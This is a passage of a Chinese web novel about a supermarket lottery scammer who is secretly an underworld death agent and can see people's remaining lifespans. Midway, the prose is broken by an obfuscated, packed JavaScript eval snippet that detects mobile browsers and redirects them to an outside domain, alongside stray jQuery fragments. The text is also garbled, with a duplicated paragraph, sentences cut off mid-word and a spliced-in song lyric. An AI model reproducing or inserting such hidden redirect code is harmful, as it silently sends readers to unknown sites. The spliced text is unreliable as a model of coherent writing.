超市的晨光透过巨大的玻璃窗洒进来，在刚刚拖过的地板上投下斑驳的光影。李直——或者说"齿轮"，站在他的抽奖台后面，将每一张奖券的边缘都对齐得一丝不苟"早上好啊，齿轮！"服装区的王姐扯着大嗓门打招呼，她正把一件标价599的夹克衫从模特身上扒下来，"今天又准备骗多少顾客啊？"
李直抬起头，脸上立刻挂上了那种经过精确计算的微笑——嘴角上扬15度，眼角微眯但不显皱纹，露出八颗上牙。这是他在柬埔寨卖军火时练就的"黄金微笑"，能让最警惕的买家放下戒心。
"王姐，您这话说的，"他两步跨过去，熟练地帮王姐把那件夹克重新套在塑料模特身上，手指不经意地划过衣服内衬，"我们这是给顾客送福利，怎么能叫骗呢？"他的动作看似随意，却已经摸清了这件衣服的材质和大概成本——聚酯纤维混纺，成本不超过80块。
王姐拍开他的手："少来！上周那个老太太抽中''特等奖''花两千八买的''纯金''项链，第二天就掉色了！"
李直的笑容纹丝不动，眼神却飘向了超市入口处正在巡视的张经理。那个秃顶中年男人正假装检查货架，实则用手机偷拍着收银台边上的年轻女员工。
"那是老太太自己出汗多，"李直压低声音，突然抓住王姐的两片衣襟向两边一扯，"就像您这件夹克，标着''真皮''，其实是PU的——您是几级销售啊？这么不专业。"
王姐涨红了脸，李直却已经转身回到自己的岗位。他的余光瞥见张经理匆匆收起了手机，心里冷笑一声。三个月前他接到阴差司的任务——这家超市背后藏着一条从东南亚走私违禁品的渠道，而张经理就是关键一环。他的真正目标不是这些小打小闹的抽奖骗局，而是整个犯罪网络。
"微笑服务！这边可以抽奖！"李直举起手，声音洪亮却不刺耳，正好能让十米内的顾客都听见。大多数人都低头快步走过，像避开瘟疫一样避开他。李直并不在意，他的目光扫过每一个人的头顶——那里悬浮着只有他能看到的数字。
那是阳寿倒计时。
"这是什么版本啊？我怎么没见过？"
一个清澈的男声打断了李直的思绪。他转头，看到一个二十出头的男孩站在抽奖台前，正指着展示柜里那条"和天下"香烟。男孩穿着看似普通实则昂贵的休闲装，手腕上的百达翡丽在超市灯光下闪着低调的光。最引人注目的是他头顶的数字：7天13小时42分钟。
李直的笑容僵了一瞬。这么短的倒计时通常意味着意外死亡或谋杀。
"这是夹克前袋版，"李直迅速调整表情，从柜台下拿出样品，"专门为行政夹克设计的。"他轻轻一推，香烟盒滑到男孩面前，"比常规版短2厘米，方便商务人士快速来一根。正所谓时间是金钱换不来的，对吧？"
男孩好奇地拿起烟盒翻看："陈明远。"他突然伸出手，"你呢？"
"齿轮。"李直条件反射地回答，随即意识到失误——阴差守则第一条：永远不要向将死之人透露真名。他急忙补充："大家都这么叫我。"
"好酷的绰号。"
"您要试试运气吗？"
他压低声音，"看您是今天第一位顾客，破例让您抽一次。"
陈明远的眼睛亮了起来，像个得到意外礼物的小孩。
"三个头的怎么算？按一个头收费还是三个头打包价？"陈明远突然指着抽奖台旁边贴着的宠物美容广告问道，上面画着各种犬种造型。
李直擦拭奖券的手微微一顿。三头兽——刻耳柏洛斯，地狱之门的守护者，也是他作为阴差司寿执行任务时的化身之一。上周在码头处理一个逃脱的亡魂时，他确实以那个形态出现过。
"那得看是什么品种，"李直眯起眼，从柜台下摸出个打火机在指间翻转，"如果是藏獒，一个头就得收三倍。但如果是..."他压低声音，"地狱三头犬，我们还得倒贴冥币。"
陈明远突然大笑起来，笑得前仰后合，引得几个顾客侧目而视。"你真有意思！我在香港中心抽烟的时候，保安也说看见什么三头怪物..."他掏出包烟，是那种镶金边的特供版，"他们说香烟不能带上飞机，可我每次都带。"
陈明远突然大笑起来，笑得前仰后合，引得几个顾客侧目而视。"你真有意思！我在香港中心抽烟的时候，保安也说看见什么三头怪物..."他掏出包烟，是那种镶金边的特供版，"他们说香烟不能带上飞机，可我每次都带。"
李直的因果眼微微发热。陈明远头顶的数字又跳动了一下，减少了三小时。他说话时，嘴角有细微的黑色丝线游动——这是被"标记"的征兆，意味着某些存在已经盯上他了。
"上次在静安中心更离谱，"陈明远自顾自地说，完全没注意到李直微妙的表情变化，"我就用Zippo点烟，突然冲出来四个人拦我。"他模仿着保安的动作，"说什么离燃气管道太近...搞笑，真要炸了不是更刺激？"
李直转动着无名指上的铜戒指——他的业障秤正在发烫。陈明远描述的场景里，他确实感应到过阴差司同事的气息。那些"保安"很可能是派来阻止他提前送命的干预者。
"最绝的是有次我真的看见三头怪物，"陈明远突然凑近，带着烟草和昂贵香水混合的气息，"就在半岛酒店厕所镜子里，冲我龇牙咧嘴的。"他眼睛发亮，"你说要是能买来当宠物得多少钱？"
戒指烫得几乎要灼伤皮肤。李直瞥见陈明远身后浮现出模糊的三头犬虚影，只有他能看见的警告。这个富二代已经不止一次与死亡擦肩而过，却把死神当成了潮玩。
"有些人就是没见过世面，"李直故意用嫌弃的语气说，同时悄悄结了个阻隔印记，"他们可能连日本都没去过。"
"日本？"陈明远果然上钩，立刻开始炫耀，"我每季都去！上次在原宿买了三百万日元的E r D。"他扯了扯衣领露出内标，那是个扭曲的美元符号缠绕着哭泣婴儿的图案——"忧郁的富二代"的标志。
"现在日本潮流已死，"陈明远继续发表他的高见，"全是跟风的废物。"他指了指自己满是破洞的牛仔裤，"真正的grunge精神早被消费主义玷污了，就像涅槃..."
"科特·柯本最后那枪开得真漂亮。"李直突然接话，同时观察陈明远的反应。他确实在伯克利音乐学院潜伏过三个月，为了抓一个伪装成声乐教授的百年恶灵。
陈明远眼睛一亮："你懂涅槃？"
"《In Utero》的母带处理我在场，"李直信口胡诌，实则说的是1993年他在洛杉矶回收柯本灵魂的往事，"那声枪响后的寂静...完美。"
他们越聊越投机。陈明远兴奋地掏出手机要加微信，全然不知自己正在和死神社交。李直扫完二维码，瞥见对方朋友圈最新动态：凌晨三点在夜店洗手间拍的模糊照片，镜子里有个模糊的三头阴影。
"下次带你玩点刺激的，"陈明远压低声音，"我在佘山有栋别墅，地下室..."他的话语被突然响起的手机铃声打断。
李直不用看就知道是谁——陈明远的保险顾问王德海，同时也是东南亚走私链在沪上的财务总监。这个号码在他追查名单上排第三位。
"喂？王叔？"陈明远走到一旁接电话，"...对，我在超市...什么体检报告？"他的声音突然变得困惑，"你们是不是搞错了..."
李直假装整理奖券，实则放出一缕神识缠绕过去。电话那头传来急促的电子音，是经过伪装的阴司通讯频率——他们在确认收割坐标。陈明远头顶的数字开始疯狂闪烁，从6天20小时骤降到3天15小时。
"神经病！"陈明远突然摔了电话，脸色煞白地走回来，"说我肝功能异常要复查...我上周才在养和做的全面体检！"
李直从柜台下拿出瓶矿泉水递给他："现在医院都这样，巴不得你天天去检查。"他故意让手指碰到陈明远的手腕，业障秤传来刺痛——肝脏位置确实有团黑气，但不是疾病，是诅咒。
"不要搞啊，"陈明远猛灌半瓶水，突然压低声音，"你知道哪里能搞到''那个''吗？"他做了个注射的手势，"王叔之前提供的渠道断了..."
李直瞳孔微缩。原来如此——陈明远不仅是猎物，还是走私链的客户。那些"特供烟"里很可能掺了阴司明令禁止的"往生粉"，用磨碎的往生者骨灰混合致幻剂制成，活人吸食后会短暂看见亡灵。
"微信聊。"李直露出心照不宣的笑容，同时在心里记下新线索。看来张经理一伙不光走私实体货物，还在经营更危险的生意。
一位老太太将已经装袋的腌制香肠放回货架，她头顶突然延长的寿命数字揭示了"一念之善"对命运的微妙影响。
超市的冷光灯下，李直靠在促销台边，用舌头数着后槽牙——左边第三颗是空心的，里面藏着微型业障记录仪。这是他作为阴差司寿的"职业习惯"，就像会计对数字敏感，他对人性的堕落有着近乎艺术的鉴赏力。
冷冻食品区传来女孩的笑声。两个穿着瑜伽裤的年轻女孩正在挑选韭菜饺子，她们纤细的手指在包装盒间跳跃，像在琴键上演奏。
"这个热量低！"马尾辫女孩举起一盒饺子，透明的皮裹着翠绿的馅，在灯光下像被丝袜包裹的微型丛林。"韭菜是素的，吃了不会胖。"
李直差点笑出声。他在曼谷红灯区卧底时见过一模一样的逻辑——那些自称"只陪酒"的女孩总爱穿白色连衣裙，纯洁得像百合花，却不知道韭菜在《本草纲目》里清清楚楚写着"生食发淫"。
超市广播突然开始播放《蓝色多瑙河》，这是每日清场的信号。李直看着人群像退潮般散去，留下满地包装纸和购物小票。他的因果眼扫过每个角落：肉柜下未干的血迹，购物车里的婴儿奶嘴
"您有新订单啦！"外卖提示音打断他的思绪。锁屏壁纸还是他在金三角时的照片——年轻的他靠在跑车边撒现金，推特配文"来找齿轮哥带你发财"。那是工作需要，就像孔雀开屏是为了□□。现在他只觉得恶心，就像看那些在抖音滤镜里扭动的网红脸。
"微笑服务！这边可以..."他条件反射地举起手，突然愣住了。站在抽奖台前的是个穿恐龙连帽衫的男孩，正踮脚够展示柜上的玩具。男孩头顶的数字很奇怪——不是倒计时，而是一串跳动的问号。
"陈川？"李直脱口而出。
我想抽那个皮卡丘..."
李直看着这个会相信超市抽奖的傻孩子，这个在游戏厅枪战声中还能专注打鼓的怪胎，这个吃肉却单纯得像幼猫的少年。他鬼使神差地按下抽奖箱暗钮，让真正的特等奖卡片滑到出口。
"恭喜你。"他把闪光的金色奖券递给陈川
男孩欢呼着跑去兑奖时，李直摸出藏在收银台下的业障秤。指针疯狂旋转，最后停在"？？？"的刻度上——他当阴差两百年来第一次见到这种读数。
窗外夕阳把超市玻璃染成血红色，李直望着陈川蹦蹦跳跳的背影，第一次对自己的工作产生了怀疑。这个像猫咪一样毫无戒心的少年，头顶为什么没有死亡倒计时？
而更可怕的问题是——当齿轮停止转动时，咬合的究竟是谁的命运？
"你知道现在漫威宇宙的蝙蝠侠和超人都是谁在写吗？"陈川突然问，冰棍滴下的红色糖水在地板上积成一小滩，像稀释的血，"就那些还相信''能力越大责任越大''的傻小孩。"
李直的手停在半空。他想起上个月收的一个灵魂——十五岁少年，因为模仿蜘蛛侠从六楼跳下，临死前还坚信会有蛛丝从手腕射出。那孩子的因果线上缠满了超级英雄贴纸。
电视里的蝙蝠侠正在发表"正义永不迟到"的演讲。陈川做了个呕吐的动作："假死了。你看超市张经理，下班后还给乞丐买饭呢，白天不照样往进口牛肉里注水？"
这话让李直想起柬埔寨那个军火贩大妈的抖音视频。镜头前她给孤儿院发红包的样子，活像个圣母，评论区一片"好人一生平安"。没人知道她发完红包就去验收新到货的RPG火箭筒了。
"现在最火的是小丑。"陈川突然凑过来，带着草莓香精的甜腻气息。他手机屏幕上正播放着某短视频平台的热门挑战——成千上万的年轻人画着小丑妆，对着镜头癫狂大笑。"知道为什么吗？"
李直看着男孩亮得过分的眼睛，突然明白了。那些被骗得太多的孩子，那些看透"英雄"虚伪面具的年轻人，最终都会产生同一个扭曲的念头：如果有一天我也能骗人就好了。
他当"齿轮"时在推特上炫耀的那些现金。那些照片下面最热烈的评论永远不是"怎么赚的"，而是"带带我"。
“你知道为什么小丑总赢吗？"男孩的眼睛在超市灯光下呈现出诡异的双瞳色，"因为他从一开始就知道——这世界就是个不好笑的笑话。"
李直下班了。
超市的自动门在他身后合上，将冷气、促销广播和顾客的抱怨声一并关在里面。天色已暗，路灯亮起，橙黄的光晕像是被油脂浸透的纸，模糊而浑浊。他站在超市后门的坡道上，脚下是一段长长的台阶，水泥砌的，边缘已经磨损，露出里面粗糙的骨料。
他深吸一口气，缓缓往下走。
一步。
风从巷子里吹过来，带着垃圾箱的酸腐味。他想起今天在超市里看到的那个胖女人，她推着购物车，车篮里堆满了打折的膨化食品和碳酸饮料。她的孩子——一个同样圆滚滚的小男孩——拽着她的衣角，小声说：“妈妈，我想吃冰淇淋。”
旁边几个初中生模样的男孩嗤笑了一声，互相推搡着，模仿男孩走路的姿势，夸张地摇晃着肩膀，嘴里发出“咚、咚”的笨重脚步声。胖女人低着头，假装没听见，只是拉着孩子快步走开。
李直当时站在促销台后面，脸上挂着“微笑服务”的标准表情，心里却想：这世界对肥胖的人好像充满恶意，连孩子都不再是美好的代言词。
两步。
台阶有点陡，他走得不太稳，像是随时会摔倒。他想起自己小时候，也曾因为瘦弱被嘲笑，被高年级的学生堵在厕所里，逼他学狗叫。那时候他就在想——如果有一天，我也能成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949882|177513||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为那个嘲笑别人的人，该多好？
后来他真的成了“齿轮”，在帮派里混得风生水起，在推特上炫耀钞票、名表、豪车，吸引那些渴望“成功”的年轻人加入。他骗过很多人，也被很多人骗过。
三步。
风吹乱了他的头发，他忽然觉得有点冷。他想起陈川，那个单纯的、像猫咪一样的男孩，今天问他：“齿轮哥，你觉得小丑为什么那么受欢迎？”
是啊，为什么呢？
因为人们终于看透了——这世界没有英雄，只有假装英雄的骗子。
蝙蝠侠和超人？那是给还没被骗够的傻孩子看的童话。成年人早就明白，真正的赢家是小丑——因为他从一开始就不相信正义，他只相信混乱。
四步。
他的脚步越来越轻，像是踩在空气里。他张开双手，像小丑电影里的亚瑟·弗莱克那样，在台阶上摇晃着身体，仿佛下一秒就要跌下去。
原来自己的真实身份，是面具之下还是面具。
他忍不住笑了。
笑声在空荡的巷子里回荡，像是某种解脱，又像是某种讽刺。
远处，某栋居民楼的窗户里亮起火光——可能是谁家的厨房失火了，也可能是有人在烧什么东西。橙红的火焰舔舐着玻璃，在黑夜里显得格外明亮。
李直停下脚步，望着那团火。
生活在这个世界里，只有火把房间燃烧的那一刻，才感觉到这世界的光亮。
而这一刻——
他爱这世界。
It''s not a silly little moment,
这不是无聊琐碎的时刻，
It''s not the storm before the calm,
更不是平静之前的风暴，
We''re goin down,
我们在下沉，
we''re slow dancing in a burnin room,
我们在燃烧中的房子中慢舞。
李直记得第一次见到苏末晞，是因为一袋十斤的大米。老式居民楼的楼梯间里，她踮脚接过塑料袋时，手腕细得能看见淡青色的血管。那时他不知道，这个扎着乱蓬蓬马尾的女孩能听出钢琴上每一颗灰尘震动的轨迹。
后来在陈川的小学毕业照里，他又看见她——站在合唱团边缘，比旁人矮半个头，手指无意识地在裙摆上敲着《致爱丽丝》的节拍。陈川说，音乐课上有人蒙住她的眼睛，她仍能准确复述出老师随意按下的和弦。"小贝多芬"，同学们这样叫她，带着孩童特有的残酷与崇拜。
最让李直难忘的是那个阴天的午后。苏末晞奶奶絮絮叨叨说起往事，说三岁的小孙女听完Pink Floyd后，突然捂住嘴说舌头底下发酸，"像吸毒过量似的"。老太太当童言无忌，李直却盯着窗台上那盆蔫了的茉莉——三岁的孩子怎会知道毒品灼烧喉管的滋味？除非是灵魂里未褪尽的记忆。
多年后他看见苏末晞在超市货架间穿行，耳机里漏出的吉他solo让她的睫毛微微颤动。那一刻李直突然明白，所谓天赋不过是往世留下的印记，像茶渍渗进宣纸，淡得几乎看不见，却永远改变了一张白纸的质地。
那些男孩的手指像铁钳一样卡在苏末晞眼前时，女孩闻到了钢琴漆面被太阳晒出的苦味。他们用红领巾蒙住她的眼睛，在背后咯咯地笑，说"小贝多芬来猜猜这个"。
琴键猛然陷下去的瞬间，女孩的睫毛扫在粗糙的布料上。C大调三和弦——但E音被故意按得很重，重到钢丝几乎要刺穿呢毡。他们的呼吸喷在苏末晞后颈，热烘烘的带着牛奶糖的甜腥，手指却像在对待某种需要被惩罚的机器。
"猜错就永远别解开哦。"
她听见琴箱里羊毛锤的颤动，听见某个音槌没有完全回位造成的细微走音。这些声音在她舌根化作铁锈的味道——后来才知道，那是恐惧的味道。他们不在乎答案对不对，只在乎女孩的眼球在红领巾下惊慌转动的弧度，像被捉住的麻雀。
多年后李直说这是天赋的代价。可我记得的只是那天的阳光太亮，穿透红领巾把视网膜灼成橘红色，而我的耳膜里灌满了琴弦的呜咽。那些男孩如今早已忘记这件事，就像忘记他们曾用放大镜烧死蚂蚁的童年下午。
只有我的耳朵还记得，某些和弦响起时，眼前会自动浮现出那块褪色的红领巾，以及后面藏着的、人类最初形态的恶意。
苏末晞偶尔会喝陌生人剩下的饮料。
便利店门口的塑料桌上，半杯冰美式凝结着水珠；电影院扶手上的可乐，吸管口还留着齿痕；公园长椅旁的奶茶，杯壁挂着融化的奶油。她拿起来就喝，喉结滚动时能尝到前一个人留在杯口的唇膏味——薄荷的，草莓的，或者根本只是香烟的焦苦。
李直第一次看见时差点打翻购物车。"你他妈不怕得病？"
"比起这个，"她舔掉嘴角的奶盖，"我更怕活成无菌实验室里的白老鼠。"
她的音乐天赋没让她成为传奇，只给了她过于敏感的耳膜和舌苔。能听出降E调里隐藏的十二音阶，能尝出《月之暗面》吉他solo在舌根泛起的酸——这种能力在KTV里算个趣谈，在超市打工时毫无用处。
有次她在货架间哼歌，陈川突然说："你唱走调了。"
"我知道，"她咬开顾客退掉的巧克力包装，"故意的。"
那些男孩早忘了曾经用红领巾蒙住过谁的眼睛。现在他们朋友圈晒着房贷和婴儿车，偶尔转发《莫扎特效应：音乐如何让孩子更聪明》。而苏末晞喝着陌生人留下的半杯拿铁，耳机里放着Pink Floyd——这次舌头底下没有酸味，只有冰凉的甜。
李直看着她把空杯扔进垃圾桶，突然想起阴差司档案里某个摇滚歌手的转世记录："该灵魂拒绝饮用孟婆汤，坚持保留味觉记忆。"
"好喝吗？"他问。
苏末晞眨眨眼："像自由的味道。"
《第一次听摇滚乐的下午》
三岁那年的夏天，蝉鸣声像生锈的锯子拉扯着耳膜。杨鼎子蹲在幼儿园后院的樟树下，老式随身听的耳机线缠着几片枯叶。他招手让苏末晞过来，把一边耳机塞进她小小的耳朵里。
"闭上眼睛。"他说。
耳机里传来直升机螺旋桨的声音，然后是心跳般的鼓点。突然一道扭曲的吉他声劈进来，像有人用铁丝刮她的牙神经。苏末晞猛地睁开眼，舌尖泛起一阵尖锐的酸涩，像是咬碎了十颗未熟的青梅。
"舌头......"她捂住嘴，"酸酸的......"
杨鼎子大笑起来，晒黑的脸皱成一团："像不像吸毒过量？"
她当然不知道吸毒过量是什么感觉。但那天回家后，他吃了一个柠檬同样的苦涩，只是少了耳机里那段吉他独奏带来的、从尾椎窜上后脑的震颤。
多年后她才知道那首歌叫fortably Numb》。而杨鼎子，那个总把"牛逼"挂在嘴边的幼儿园老师，是第一个发现她能尝出音乐味道的人。